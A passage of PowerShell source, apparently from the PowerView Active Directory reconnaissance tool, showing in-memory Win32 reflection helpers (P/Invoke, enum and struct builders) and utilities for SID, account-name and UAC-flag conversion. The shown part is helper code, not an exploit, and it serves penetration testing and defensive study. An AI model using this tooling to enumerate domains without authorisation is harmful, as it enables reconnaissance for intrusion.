[Parameter(ValueFromPipelineByPropertyName = $True)]\n        [Switch]\n        $SetLastError,\n\n        [Parameter(Mandatory = $True)]\n        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]\n        $Module,\n\n        [ValidateNotNull()]\n        [String]\n        $Namespace = ''\n    )\n\n    BEGIN\n    {\n        $TypeHash = @{}\n    }\n\n    PROCESS\n    {\n        if ($Module -is [Reflection.Assembly])\n        {\n            if ($Namespace)\n            {\n                $TypeHash[$DllName] = $Module.GetType(\"$Namespace.$DllName\")\n            }\n            else\n            {\n                $TypeHash[$DllName] = $Module.GetType($DllName)\n            }\n        }\n        else\n        {\n            # Define one type for each DLL\n            if (!$TypeHash.ContainsKey($DllName))\n            {\n                if ($Namespace)\n                {\n                    $TypeHash[$DllName] = $Module.DefineType(\"$Namespace.$DllName\", 'Public,BeforeFieldInit')\n                }\n                else\n                {\n                    $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')\n                }\n            }\n\n            $Method = $TypeHash[$DllName].DefineMethod(\n                $FunctionName,\n                'Public,Static,PinvokeImpl',\n                $ReturnType,\n                $ParameterTypes)\n\n            # Make each ByRef parameter an Out parameter\n            $i = 1\n            ForEach($Parameter in $ParameterTypes)\n            {\n                if ($Parameter.IsByRef)\n                {\n                    [void] $Method.DefineParameter($i, 'Out', $Null)\n                }\n\n                $i++\n            }\n\n            $DllImport = [Runtime.InteropServices.DllImportAttribute]\n            $SetLastErrorField = $DllImport.GetField('SetLastError')\n            $CallingConventionField = $DllImport.GetField('CallingConvention')\n            $CharsetField = $DllImport.GetField('CharSet')\n            if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }\n\n            # Equivalent to C# version of [DllImport(DllName)]\n            $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])\n            $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,\n                $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),\n                [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),\n                [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))\n\n            $Method.SetCustomAttribute($DllImportAttribute)\n        }\n    }\n\n    END\n    {\n        if ($Module -is [Reflection.Assembly])\n        {\n            return $TypeHash\n        }\n\n        $ReturnTypes = @{}\n\n        ForEach ($Key in $TypeHash.Keys)\n        {\n            $Type = $TypeHash[$Key].CreateType()\n\n            $ReturnTypes[$Key] = $Type\n        }\n\n        return $ReturnTypes\n    }\n}\n\n\nfunction psenum\n{\n<#\n    .SYNOPSIS\n\n        Creates an in-memory enumeration for use in your PowerShell session.\n\n        Author: Matthew Graeber (@mattifestation)\n        License: BSD 3-Clause\n        Required Dependencies: None\n        Optional Dependencies: None\n     \n    .DESCRIPTION\n\n        The 'psenum' function facilitates the creation of enums entirely in\n        memory using as close to a \"C style\" as PowerShell will allow.\n\n    .PARAMETER Module\n\n        The in-memory module that will host the enum. Use\n        New-InMemoryModule to define an in-memory module.\n\n    .PARAMETER FullName\n\n        The fully-qualified name of the enum.\n\n    .PARAMETER Type\n\n        The type of each enum element.\n\n    .PARAMETER EnumElements\n\n        A hashtable of enum elements.\n\n    .PARAMETER Bitfield\n\n        Specifies that the enum should be treated as a bitfield.\n\n    .EXAMPLE\n\n        $Mod = New-InMemoryModule -ModuleName Win32\n\n        $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{\n            UNKNOWN =                  0\n            NATIVE =                   1 # Image doesn't require a subsystem.\n            WINDOWS_GUI =              2 # Image runs in the Windows GUI subsystem.\n            WINDOWS_CUI =              3 # Image runs in the Windows character subsystem.\n            OS2_CUI =                  5 # Image runs in the OS/2 character subsystem.\n            POSIX_CUI =                7 # Image runs in the Posix character subsystem.\n            NATIVE_WINDOWS =           8 # Image is a native Win9x driver.\n            WINDOWS_CE_GUI =           9 # Image runs in the Windows CE subsystem.\n            EFI_APPLICATION =          10\n            EFI_BOOT_SERVICE_DRIVER =  11\n            EFI_RUNTIME_DRIVER =       12\n            EFI_ROM =                  13\n            XBOX =                     14\n            WINDOWS_BOOT_APPLICATION = 16\n        }\n\n    .NOTES\n\n        PowerShell purists may disagree with the naming of this function but\n        again, this was developed in such a way so as to emulate a \"C style\"\n        definition as closely as possible. Sorry, I'm not going to name it\n        New-Enum. :P\n#>\n\n    [OutputType([Type])]\n    Param\n    (\n        [Parameter(Position = 0, Mandatory = $True)]\n        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]\n        $Module,\n\n        [Parameter(Position = 1, Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $FullName,\n\n        [Parameter(Position = 2, Mandatory = $True)]\n        [Type]\n        $Type,\n\n        [Parameter(Position = 3, Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [Hashtable]\n        $EnumElements,\n\n        [Switch]\n        $Bitfield\n    )\n\n    if ($Module -is [Reflection.Assembly])\n    {\n        return ($Module.GetType($FullName))\n    }\n\n    $EnumType = $Type -as [Type]\n\n    $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)\n\n    if ($Bitfield)\n    {\n        $FlagsConstructor = [FlagsAttribute].GetConstructor(@())\n        $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())\n        $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)\n    }\n\n    ForEach ($Key in $EnumElements.Keys)\n    {\n        # Apply the specified enum type to each element\n        $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)\n    }\n\n    $EnumBuilder.CreateType()\n}\n\n\n# A helper function used to reduce typing while defining struct\n# fields.\nfunction field\n{\n    Param\n    (\n        [Parameter(Position = 0, Mandatory = $True)]\n        [UInt16]\n        $Position,\n\n        [Parameter(Position = 1, Mandatory = $True)]\n        [Type]\n        $Type,\n\n        [Parameter(Position = 2)]\n        [UInt16]\n        $Offset,\n\n        [Object[]]\n        $MarshalAs\n    )\n\n    @{\n        Position = $Position\n        Type = $Type -as [Type]\n        Offset = $Offset\n        MarshalAs = $MarshalAs\n    }\n}\n\n\nfunction struct\n{\n<#\n    .SYNOPSIS\n\n        Creates an in-memory struct for use in your PowerShell session.\n\n        Author: Matthew Graeber (@mattifestation)\n        License: BSD 3-Clause\n        Required Dependencies: None\n        Optional Dependencies: field\n\n    .DESCRIPTION\n\n        The 'struct' function facilitates the creation of structs entirely in\n        memory using as close to a \"C style\" as PowerShell will allow. Struct\n        fields are specified using a hashtable where each field of the struct\n        is comprosed of the order in which it should be defined, its .NET\n        type, and optionally, its offset and special marshaling attributes.\n\n        One of the features of 'struct' is that after your struct is defined,\n        it will come with a built-in GetSize method as well as an explicit\n        converter so that you can easily cast an IntPtr to the struct without\n        relying upon calling SizeOf and/or PtrToStructure in the Marshal\n        class.\n\n    .PARAMETER Module\n\n        The in-memory module that will host the struct. Use\n        New-InMemoryModule to define an in-memory module.\n\n    .PARAMETER FullName\n\n        The fully-qualified name of the struct.\n\n    .PARAMETER StructFields\n\n        A hashtable of fields. Use the 'field' helper function to ease\n        defining each field.\n\n    .PARAMETER PackingSize\n\n        Specifies the memory alignment of fields.\n\n    .PARAMETER ExplicitLayout\n\n        Indicates that an explicit offset for each field will be specified.\n\n    .EXAMPLE\n\n        $Mod = New-InMemoryModule -ModuleName Win32\n\n        $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{\n            DOS_SIGNATURE =    0x5A4D\n            OS2_SIGNATURE =    0x454E\n            OS2_SIGNATURE_LE = 0x454C\n            VXD_SIGNATURE =    0x454C\n        }\n\n        $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{\n            e_magic =    field 0 $ImageDosSignature\n            e_cblp =     field 1 UInt16\n            e_cp =       field 2 UInt16\n            e_crlc =     field 3 UInt16\n            e_cparhdr =  field 4 UInt16\n            e_minalloc = field 5 UInt16\n            e_maxalloc = field 6 UInt16\n            e_ss =       field 7 UInt16\n            e_sp =       field 8 UInt16\n            e_csum =     field 9 UInt16\n            e_ip =       field 10 UInt16\n            e_cs =       field 11 UInt16\n            e_lfarlc =   field 12 UInt16\n            e_ovno =     field 13 UInt16\n            e_res =      field 14 UInt16[] -MarshalAs @('ByValArray', 4)\n            e_oemid =    field 15 UInt16\n            e_oeminfo =  field 16 UInt16\n            e_res2 =     field 17 UInt16[] -MarshalAs @('ByValArray', 10)\n            e_lfanew =   field 18 Int32\n        }\n\n        # Example of using an explicit layout in order to create a union.\n        $TestUnion = struct $Mod TestUnion @{\n            field1 = field 0 UInt32 0\n            field2 = field 1 IntPtr 0\n        } -ExplicitLayout\n\n    .NOTES\n\n        PowerShell purists may disagree with the naming of this function but\n        again, this was developed in such a way so as to emulate a \"C style\"\n        definition as closely as possible. Sorry, I'm not going to name it\n        New-Struct. :P\n#>\n\n    [OutputType([Type])]\n    Param\n    (\n        [Parameter(Position = 1, Mandatory = $True)]\n        [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]\n        $Module,\n\n        [Parameter(Position = 2, Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [String]\n        $FullName,\n\n        [Parameter(Position = 3, Mandatory = $True)]\n        [ValidateNotNullOrEmpty()]\n        [Hashtable]\n        $StructFields,\n\n        [Reflection.Emit.PackingSize]\n        $PackingSize = [Reflection.Emit.PackingSize]::Unspecified,\n\n        [Switch]\n        $ExplicitLayout\n    )\n\n    if ($Module -is [Reflection.Assembly])\n    {\n        return ($Module.GetType($FullName))\n    }\n\n    [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,\n        Class,\n        Public,\n        Sealed,\n        BeforeFieldInit'\n\n    if ($ExplicitLayout)\n    {\n        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout\n    }\n    else\n    {\n        $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout\n    }\n\n    $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)\n    $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]\n    $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))\n\n    $Fields = New-Object Hashtable[]($StructFields.Count)\n\n    # Sort each field according to the orders specified\n    # Unfortunately, PSv2 doesn't have the luxury of the\n    # hashtable [Ordered] accelerator.\n    ForEach ($Field in $StructFields.Keys)\n    {\n        $Index = $StructFields[$Field]['Position']\n        $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}\n    }\n\n    ForEach ($Field in $Fields)\n    {\n        $FieldName = $Field['FieldName']\n        $FieldProp = $Field['Properties']\n\n        $Offset = $FieldProp['Offset']\n        $Type = $FieldProp['Type']\n        $MarshalAs = $FieldProp['MarshalAs']\n\n        $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')\n\n        if ($MarshalAs)\n        {\n            $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])\n            if ($MarshalAs[1])\n            {\n                $Size = $MarshalAs[1]\n                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,\n                    $UnmanagedType, $SizeConst, @($Size))\n            }\n            else\n            {\n                $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))\n            }\n\n            $NewField.SetCustomAttribute($AttribBuilder)\n        }\n\n        if ($ExplicitLayout) { $NewField.SetOffset($Offset) }\n    }\n\n    # Make the struct aware of its own size.\n    # No more having to call [Runtime.InteropServices.Marshal]::SizeOf!\n    $SizeMethod = $StructBuilder.DefineMethod('GetSize',\n        'Public, Static',\n        [Int],\n        [Type[]] @())\n    $ILGenerator = $SizeMethod.GetILGenerator()\n    # Thanks for the help, Jason Shirk!\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,\n        [Type].GetMethod('GetTypeFromHandle'))\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,\n        [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))\n    $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)\n\n    # Allow for explicit casting from an IntPtr\n    # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!\n    $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',\n        'PrivateScope, Public, Static, HideBySig, SpecialName',\n        $StructBuilder,\n        [Type[]] @([IntPtr]))\n    $ILGenerator2 = $ImplicitConverter.GetILGenerator()\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,\n        [Type].GetMethod('GetTypeFromHandle'))\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,\n        [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)\n    $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)\n\n    $StructBuilder.CreateType()\n}\n\n\n########################################################\n#\n# Misc. helpers\n#\n########################################################\n\nfilter Get-IniContent {\n<#\n    .SYNOPSIS\n\n        This helper parses an .ini file into a proper PowerShell object.\n        \n        Author: 'The Scripting Guys'\n        Link: https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/\n\n    .LINK\n\n        https://blogs.technet.microsoft.com/heyscriptingguy/2011/08/20/use-powershell-to-work-with-any-ini-file/\n#>\n    [CmdletBinding()]\n    Param(\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]\n        [Alias('FullName')]\n        [ValidateScript({ Test-Path -Path $_ })]\n        [String[]]\n        $Path\n    )\n\n    ForEach($TargetPath in $Path) {\n        $IniObject = @{}\n        Switch -Regex -File $TargetPath {\n            \"^\\[(.+)\\]\" # Section\n            {\n                $Section = $matches[1].Trim()\n                $IniObject[$Section] = @{}\n                $CommentCount = 0\n            }\n            \"^(;.*)$\" # Comment\n            {\n                $Value = $matches[1].Trim()\n                $CommentCount = $CommentCount + 1\n                $Name = 'Comment' + $CommentCount\n                $IniObject[$Section][$Name] = $Value\n            } \n            \"(.+?)\\s*=(.*)\" # Key\n            {\n                $Name, $Value = $matches[1..2]\n                $Name = $Name.Trim()\n                $Values = $Value.split(',') | ForEach-Object {$_.Trim()}\n                if($Values -isnot [System.Array]) {$Values = @($Values)}\n                $IniObject[$Section][$Name] = $Values\n            }\n        }\n        $IniObject\n    }\n}\n\nfilter Export-PowerViewCSV {\n<#\n    .SYNOPSIS\n\n        This helper exports an -InputObject to a .csv in a thread-safe manner\n        using a mutex. This is so the various multi-threaded functions in\n        PowerView has a thread-safe way to export output to the same file.\n        \n        Based partially on Dmitry Sotnikov's Export-CSV code\n            at http://poshcode.org/1590\n\n    .LINK\n\n        http://poshcode.org/1590\n        http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/\n#>\n    Param(\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True, ValueFromPipelineByPropertyName=$True)]\n        [System.Management.Automation.PSObject[]]\n        $InputObject,\n\n        [Parameter(Mandatory=$True, Position=0)]\n        [String]\n        [ValidateNotNullOrEmpty()]\n        $OutFile\n    )\n\n    $ObjectCSV = $InputObject | ConvertTo-Csv -NoTypeInformation\n\n    # mutex so threaded code doesn't stomp on the output file\n    $Mutex = New-Object System.Threading.Mutex $False,'CSVMutex';\n    $Null = $Mutex.WaitOne()\n\n    if (Test-Path -Path $OutFile) {\n        # hack to skip the first line of output if the file already exists\n        $ObjectCSV | ForEach-Object { $Start=$True }{ if ($Start) {$Start=$False} else {$_} } | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile\n    }\n    else {\n        $ObjectCSV | Out-File -Encoding 'ASCII' -Append -FilePath $OutFile\n    }\n\n    $Mutex.ReleaseMutex()\n}\n\n\nfilter Get-IPAddress {\n<#\n    .SYNOPSIS\n\n        Resolves a given hostename to its associated IPv4 address. \n        If no hostname is provided, it defaults to returning\n        the IP address of the localhost.\n\n    .EXAMPLE\n\n        PS C:\\> Get-IPAddress -ComputerName SERVER\n        \n        Return the IPv4 address of 'SERVER'\n\n    .EXAMPLE\n\n        PS C:\\> Get-Content .\\hostnames.txt | Get-IPAddress\n\n        Get the IP addresses of all hostnames in an input file.\n#>\n\n    [CmdletBinding()]\n    param(\n        [Parameter(Position=0, ValueFromPipeline=$True)]\n        [Alias('HostName')]\n        [String]\n        $ComputerName = $Env:ComputerName\n    )\n\n    try {\n        # extract the computer name from whatever object was passed on the pipeline\n        $Computer = $ComputerName | Get-NameField\n\n        # get the IP resolution of this specified hostname\n        @(([Net.Dns]::GetHostEntry($Computer)).AddressList) | ForEach-Object {\n            if ($_.AddressFamily -eq 'InterNetwork') {\n                $Out = New-Object PSObject\n                $Out | Add-Member Noteproperty 'ComputerName' $Computer\n                $Out | Add-Member Noteproperty 'IPAddress' $_.IPAddressToString\n                $Out\n            }\n        }\n    }\n    catch {\n        Write-Verbose -Message 'Could not resolve host to an IP Address.'\n    }\n}\n\n\nfilter Convert-NameToSid {\n<#\n    .SYNOPSIS\n\n        Converts a given user/group name to a security identifier (SID).\n\n    .PARAMETER ObjectName\n\n        The user/group name to convert, can be 'user' or 'DOMAIN\\user' format.\n\n    .PARAMETER Domain\n\n        Specific domain for the given user account, defaults to the current domain.\n\n    .EXAMPLE\n\n        PS C:\\> Convert-NameToSid 'DEV\\dfm'\n#>\n    [CmdletBinding()]\n    param(\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]\n        [String]\n        [Alias('Name')]\n        $ObjectName,\n\n        [String]\n        $Domain\n    )\n\n    $ObjectName = $ObjectName -Replace \"/\",\"\\\"\n    \n    if($ObjectName.Contains(\"\\\")) {\n        # if we get a DOMAIN\\user format, auto convert it\n        $Domain = $ObjectName.Split(\"\\\")[0]\n        $ObjectName = $ObjectName.Split(\"\\\")[1]\n    }\n    elseif(-not $Domain) {\n        $Domain = (Get-NetDomain).Name\n    }\n\n    try {\n        $Obj = (New-Object System.Security.Principal.NTAccount($Domain, $ObjectName))\n        $SID = $Obj.Translate([System.Security.Principal.SecurityIdentifier]).Value\n        \n        $Out = New-Object PSObject\n        $Out | Add-Member Noteproperty 'ObjectName' $ObjectName\n        $Out | Add-Member Noteproperty 'SID' $SID\n        $Out\n    }\n    catch {\n        Write-Verbose \"Invalid object/name: $Domain\\$ObjectName\"\n        $Null\n    }\n}\n\n\nfilter Convert-SidToName {\n<#\n    .SYNOPSIS\n    \n        Converts a security identifier (SID) to a group/user name.\n\n    .PARAMETER SID\n    \n        The SID to convert.\n\n    .EXAMPLE\n\n        PS C:\\> Convert-SidToName S-1-5-21-2620891829-2411261497-1773853088-1105\n#>\n    [CmdletBinding()]\n    param(\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]\n        [String]\n        [ValidatePattern('^S-1-.*')]\n        $SID\n    )\n\n    try {\n        $SID2 = $SID.trim('*')\n\n        # try to resolve any built-in SIDs first\n        #   from https://support.microsoft.com/en-us/kb/243330\n        Switch ($SID2) {\n            'S-1-0'         { 'Null Authority' }\n            'S-1-0-0'       { 'Nobody' }\n            'S-1-1'         { 'World Authority' }\n            'S-1-1-0'       { 'Everyone' }\n            'S-1-2'         { 'Local Authority' }\n            'S-1-2-0'       { 'Local' }\n            'S-1-2-1'       { 'Console Logon ' }\n            'S-1-3'         { 'Creator Authority' }\n            'S-1-3-0'       { 'Creator Owner' }\n            'S-1-3-1'       { 'Creator Group' }\n            'S-1-3-2'       { 'Creator Owner Server' }\n            'S-1-3-3'       { 'Creator Group Server' }\n            'S-1-3-4'       { 'Owner Rights' }\n            'S-1-4'         { 'Non-unique Authority' }\n            'S-1-5'         { 'NT Authority' }\n            'S-1-5-1'       { 'Dialup' }\n            'S-1-5-2'       { 'Network' }\n            'S-1-5-3'       { 'Batch' }\n            'S-1-5-4'       { 'Interactive' }\n            'S-1-5-6'       { 'Service' }\n            'S-1-5-7'       { 'Anonymous' }\n            'S-1-5-8'       { 'Proxy' }\n            'S-1-5-9'       { 'Enterprise Domain Controllers' }\n            'S-1-5-10'      { 'Principal Self' }\n            'S-1-5-11'      { 'Authenticated Users' }\n            'S-1-5-12'      { 'Restricted Code' }\n            'S-1-5-13'      { 'Terminal Server Users' }\n            'S-1-5-14'      { 'Remote Interactive Logon' }\n            'S-1-5-15'      { 'This Organization ' }\n            'S-1-5-17'      { 'This Organization ' }\n            'S-1-5-18'      { 'Local System' }\n            'S-1-5-19'      { 'NT Authority' }\n            'S-1-5-20'      { 'NT Authority' }\n            'S-1-5-80-0'    { 'All Services ' }\n            'S-1-5-32-544'  { 'BUILTIN\\Administrators' }\n            'S-1-5-32-545'  { 'BUILTIN\\Users' }\n            'S-1-5-32-546'  { 'BUILTIN\\Guests' }\n            'S-1-5-32-547'  { 'BUILTIN\\Power Users' }\n            'S-1-5-32-548'  { 'BUILTIN\\Account Operators' }\n            'S-1-5-32-549'  { 'BUILTIN\\Server Operators' }\n            'S-1-5-32-550'  { 'BUILTIN\\Print Operators' }\n            'S-1-5-32-551'  { 'BUILTIN\\Backup Operators' }\n            'S-1-5-32-552'  { 'BUILTIN\\Replicators' }\n            'S-1-5-32-554'  { 'BUILTIN\\Pre-Windows 2000 Compatible Access' }\n            'S-1-5-32-555'  { 'BUILTIN\\Remote Desktop Users' }\n            'S-1-5-32-556'  { 'BUILTIN\\Network Configuration Operators' }\n            'S-1-5-32-557'  { 'BUILTIN\\Incoming Forest Trust Builders' }\n            'S-1-5-32-558'  { 'BUILTIN\\Performance Monitor Users' }\n            'S-1-5-32-559'  { 'BUILTIN\\Performance Log Users' }\n            'S-1-5-32-560'  { 'BUILTIN\\Windows Authorization Access Group' }\n            'S-1-5-32-561'  { 'BUILTIN\\Terminal Server License Servers' }\n            'S-1-5-32-562'  { 'BUILTIN\\Distributed COM Users' }\n            'S-1-5-32-569'  { 'BUILTIN\\Cryptographic Operators' }\n            'S-1-5-32-573'  { 'BUILTIN\\Event Log Readers' }\n            'S-1-5-32-574'  { 'BUILTIN\\Certificate Service DCOM Access' }\n            'S-1-5-32-575'  { 'BUILTIN\\RDS Remote Access Servers' }\n            'S-1-5-32-576'  { 'BUILTIN\\RDS Endpoint Servers' }\n            'S-1-5-32-577'  { 'BUILTIN\\RDS Management Servers' }\n            'S-1-5-32-578'  { 'BUILTIN\\Hyper-V Administrators' }\n            'S-1-5-32-579'  { 'BUILTIN\\Access Control Assistance Operators' }\n            'S-1-5-32-580'  { 'BUILTIN\\Access Control Assistance Operators' }\n            Default { \n                $Obj = (New-Object System.Security.Principal.SecurityIdentifier($SID2))\n                $Obj.Translate( [System.Security.Principal.NTAccount]).Value\n            }\n        }\n    }\n    catch {\n        Write-Verbose \"Invalid SID: $SID\"\n        $SID\n    }\n}\n\n\nfilter Convert-ADName {\n<#\n    .SYNOPSIS\n\n        Converts user/group names from NT4 (DOMAIN\\user) or domainSimple (user@domain.com)\n        to canonical format (domain.com/Users/user) or NT4.\n\n        Based on Bill Stewart's code from this article: \n            http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats\n\n    .PARAMETER ObjectName\n\n        The user/group name to convert.\n\n    .PARAMETER InputType\n\n        The InputType of the user/group name (\"NT4\",\"Simple\",\"Canonical\").\n\n    .PARAMETER OutputType\n\n        The OutputType of the user/group name (\"NT4\",\"Simple\",\"Canonical\").\n\n    .EXAMPLE\n\n        PS C:\\> Convert-ADName -ObjectName \"dev\\dfm\"\n        \n        Returns \"dev.testlab.local/Users/Dave\"\n\n    .EXAMPLE\n\n        PS C:\\> Convert-SidToName \"S-...\" | Convert-ADName\n        \n        Returns the canonical name for the resolved SID.\n\n    .LINK\n\n        http://windowsitpro.com/active-directory/translating-active-directory-object-names-between-formats\n#>\n    [CmdletBinding()]\n    param(\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]\n        [String]\n        $ObjectName,\n\n        [String]\n        [ValidateSet(\"NT4\",\"Simple\",\"Canonical\")]\n        $InputType,\n\n        [String]\n        [ValidateSet(\"NT4\",\"Simple\",\"Canonical\")]\n        $OutputType\n    )\n\n    $NameTypes = @{\n        'Canonical' = 2\n        'NT4'       = 3\n        'Simple'    = 5\n    }\n\n    if(-not $PSBoundParameters['InputType']) {\n        if( ($ObjectName.split('/')).Count -eq 2 ) {\n            $ObjectName = $ObjectName.replace('/', '\\')\n        }\n\n        if($ObjectName -match \"^[A-Za-z]+\\\\[A-Za-z ]+\") {\n            $InputType = 'NT4'\n        }\n        elseif($ObjectName -match \"^[A-Za-z ]+@[A-Za-z\\.]+\") {\n            $InputType = 'Simple'\n        }\n        elseif($ObjectName -match \"^[A-Za-z\\.]+/[A-Za-z]+/[A-Za-z/ ]+\") {\n            $InputType = 'Canonical'\n        }\n        else {\n            Write-Warning \"Can not identify InType for $ObjectName\"\n            return $ObjectName\n        }\n    }\n    elseif($InputType -eq 'NT4') {\n        $ObjectName = $ObjectName.replace('/', '\\')\n    }\n\n    if(-not $PSBoundParameters['OutputType']) {\n        $OutputType = Switch($InputType) {\n            'NT4' {'Canonical'}\n            'Simple' {'NT4'}\n            'Canonical' {'NT4'}\n        }\n    }\n\n    # try to extract the domain from the given format\n    $Domain = Switch($InputType) {\n        'NT4' { $ObjectName.split(\"\\\")[0] }\n        'Simple' { $ObjectName.split(\"@\")[1] }\n        'Canonical' { $ObjectName.split(\"/\")[0] }\n    }\n\n    # Accessor functions to simplify calls to NameTranslate\n    function Invoke-Method([__ComObject] $Object, [String] $Method, $Parameters) {\n        $Output = $Object.GetType().InvokeMember($Method, \"InvokeMethod\", $Null, $Object, $Parameters)\n        if ( $Output ) { $Output }\n    }\n    function Set-Property([__ComObject] $Object, [String] $Property, $Parameters) {\n        [Void] $Object.GetType().InvokeMember($Property, \"SetProperty\", $Null, $Object, $Parameters)\n    }\n\n    $Translate = New-Object -ComObject NameTranslate\n\n    try {\n        Invoke-Method $Translate \"Init\" (1, $Domain)\n    }\n    catch [System.Management.Automation.MethodInvocationException] { \n        Write-Verbose \"Error with translate init in Convert-ADName: $_\"\n    }\n\n    Set-Property $Translate \"ChaseReferral\" (0x60)\n\n    try {\n        Invoke-Method $Translate \"Set\" ($NameTypes[$InputType], $ObjectName)\n        (Invoke-Method $Translate \"Get\" ($NameTypes[$OutputType]))\n    }\n    catch [System.Management.Automation.MethodInvocationException] {\n        Write-Verbose \"Error with translate Set/Get in Convert-ADName: $_\"\n    }\n}\n\n\nfunction ConvertFrom-UACValue {\n<#\n    .SYNOPSIS\n\n        Converts a UAC int value to human readable form.\n\n    .PARAMETER Value\n\n        The int UAC value to convert.\n\n    .PARAMETER ShowAll\n\n        Show all UAC values, with a + indicating the value is currently set.\n\n    .EXAMPLE\n\n        PS C:\\> ConvertFrom-UACValue -Value 66176\n\n        Convert the UAC value 66176 to human readable format.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue\n\n        Convert the UAC value for 'jason' to human readable format.\n\n    .EXAMPLE\n\n        PS C:\\> Get-NetUser jason | select useraccountcontrol | ConvertFrom-UACValue -ShowAll\n\n        Convert the UAC value for 'jason' to human readable format, showing all\n        possible UAC values.\n#>\n    \n    [CmdletBinding()]\n    param(\n        [Parameter(Mandatory=$True, ValueFromPipeline=$True)]\n        $Value,\n\n        [Switch]\n        $ShowAll\n    )\n\n    begin {\n        # values from https://support.microsoft.com/en-us/kb/305144\n        $UACValues = New-Object System.Collections.Specialized.OrderedDictionary\n        $UACValues.Add(\"SCRIPT\", 1)\n        $UACValues.Add(\"ACCOUNTDISABLE\", 2)\n        $UACValues.Add(\"HOMEDIR_REQUIRED\", 8)\n        $UACValues.Add(\"LOCKOUT\", 16)\n        $UACValues.Add(\"PASSWD_NOTREQD\", 32)\n        $UACValues.Add(\"PASSWD_CANT_CHANGE\", 64)\n        $UACValues.Add(\"ENCRYPTED_TEXT_PWD_ALLOWED\", 128)\n        $UACValues.Add(\"TEMP_DUPLICATE_ACCOUNT\", 256)\n        $UACValues.Add(\"NORMAL_ACCOUNT\", 512)\n        $UACValues.Add(\"INTERDOMAIN_TRUST_ACCOUNT\", 2048)\n        $UACValues.Add(\"WORKSTATION_TRUST_ACCOUNT\", 4096)\n        $UACValues.Add(\"SERVER_TRUST_ACCOUNT\", 8192)\n        $UACValues.Add(\"DONT_EXPIRE_PASSWORD\", 65536)\n        $UACValues.Add(\"MNS_LOGON_ACCOUNT\", 131072)\n        $UACValues.Add(\"SMARTCARD_REQUIRED\", 262144)\n        $UACValues.Add(\"TRUSTED_FOR_DELEGATION\", 524288)\n        $UACValues.Add(\"NOT_DELEGATED\", 1048576)\n        $UACValues.Add(\"USE_DES_KEY_ONLY\", 2097152)\n        $UACValues.Add(\"DONT_REQ_PREAUTH\", 4194304)\n        $UACValues.Add(\"PASSWORD_EXPIRED\", 8388608)\n        $UACValues.Add(\"TRUSTED_TO_AUTH_FOR_DELEGATION\", 16777216)\n        $UACValues.Add(\"PARTIAL_SECRETS_ACCOUNT\", 67108864)\n    }\n\n    process {\n\n        $ResultUACValues = 